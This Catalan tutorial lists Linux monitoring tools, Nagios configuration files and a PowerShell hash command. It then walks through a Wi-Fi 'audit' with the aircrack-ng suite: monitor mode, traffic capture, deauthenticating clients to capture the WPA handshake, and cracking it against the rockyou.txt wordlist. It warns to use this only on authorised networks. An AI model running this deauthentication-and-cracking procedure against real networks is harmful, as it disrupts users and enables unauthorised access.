Monitorització de Sistemes Linux i Auditoria de Xarxes Wi-Fi: Eines, Logs i Ús Pràctic
Eines de monitoratge de sistemes en Linux
top: visualització de processos en temps real
htop: versió millorada de top amb interfície intuïtiva
vmstat: estadístiques de memòria i CPU
iostat: monitoratge de dispositius d'emmagatzematge
netstat: anàlisi de connexions de xarxa
iftop: monitoratge d'ample de banda en temps real
Comandes bàsiques de journalctl
Comanda bàsica:
journalctlFiltratge per servei:
-uVisualització d'errors:
-p errLogs en temps real:
-f
Configuració de Nagios
Fitxers principals
1. /usr/local/nagios/etc/nagios.cfg
- Arxiu principal de configuració.
- Defineix quins arxius es carregaran: hosts, comandes, contactes, etc.
2. /usr/local/nagios/etc/objects/
- Conté els arxius de definició d'objectes:
- localhost.cfg → Defineix el propi servidor Nagios.
- commands.cfg → Defineix comandes com check_ping, check_http, etc.
- contacts.cfg → Defineix qui rep les notificacions.
- templates.cfg → Plantilles per a hosts i serveis.
- timeperiods.cfg → Horaris de comprovació i notificació.
3. /usr/local/nagios/etc/servers/ (opcional però recomanat)
- Carpeta per a configuracions individuals de cada client.
- Exemples:
- client-linux.cfg
- client-windows.cfg
4. /usr/local/nagios/etc/htpasswd.users
- Arxiu amb credencials per accedir a la interfície web de Nagios (usuari: nagiosadmin).
5. /usr/local/nagios/var/nagios.log
- Arxiu de log de Nagios.
- Molt útil per depurar errors i comprovar l'estat del sistema.
NRPE (per a Linux)
- NRPE: permet que Nagios executi comandes/plugins en clients Linux de forma remota.
Verificació de fitxers en Windows
Per calcular el hash MD5 d'un fitxer amb PowerShell:
Get-FileHash -Path "C:\ruta\al\archivo.docx" -Algorithm MD5
Auditoria de xarxes Wi-Fi
Advertència: aquest procediment només ha de dur-se a terme sobre xarxes pròpies o amb autorització explícita.
Matar qualsevol procés que estigui duent a terme l'adaptador Wi-Fi:
airmon-ng check killPosar la targeta Wi-Fi en mode monitor. Si l'adaptador ho permet:
airmon-ng start wlan0Verificar que l'adaptador està treballant en mode monitor:
iwconfigEscanejar tot el trànsit disponible fins detectar la xarxa Wi-Fi objectiu:
sudo airodump-ng wlan0monSeleccionar l'objectiu que volem auditar:
airodump-ng wlan0mon -c CH --bssid xx:xx:xx:xx:xx:xx -w /root/Desktop/fitxerwlan0mon: el nom del vostre adaptador Wi-Fi
CH: el número del canal on emet
xx:xx:xx:xx:xx:xx: la MAC del AP (BSSID)
/root/Desktop: directori on s'emmagatzemarà el trànsit esnifat
fitxer.cap: arxiu .cap on està emmagatzemat
Desautenticar el client per intentar capturar el handshake:
aireplay-ng --deauth CH -a XX:XX:XX:XX:XX:XX wlan0monCH: canal on es troba el punt d'accés objectiu
wlan0mon: el nom del vostre adaptador Wi-Fi
xx:xx:xx:xx:xx:xx: la MAC del AP (BSSID)
Crackejarem la contrasenya utilitzant el diccionari rockyou.txt:
aircrack-ng fitxer.cap -w /usr/share/wordlists/rockyou.txtaircrack-ng -a2 -b xx:xx:xx:xx:xx:xx -w /wordlists/rockyou.txt fitxer.capfitxer.cap: arxiu .cap on està emmagatzemat
/usr/share/wordlists/rockyou.txt: ubicació del fitxer diccionari de contrasenyes
xx:xx:xx:xx:xx:xx: la MAC del AP (BSSID)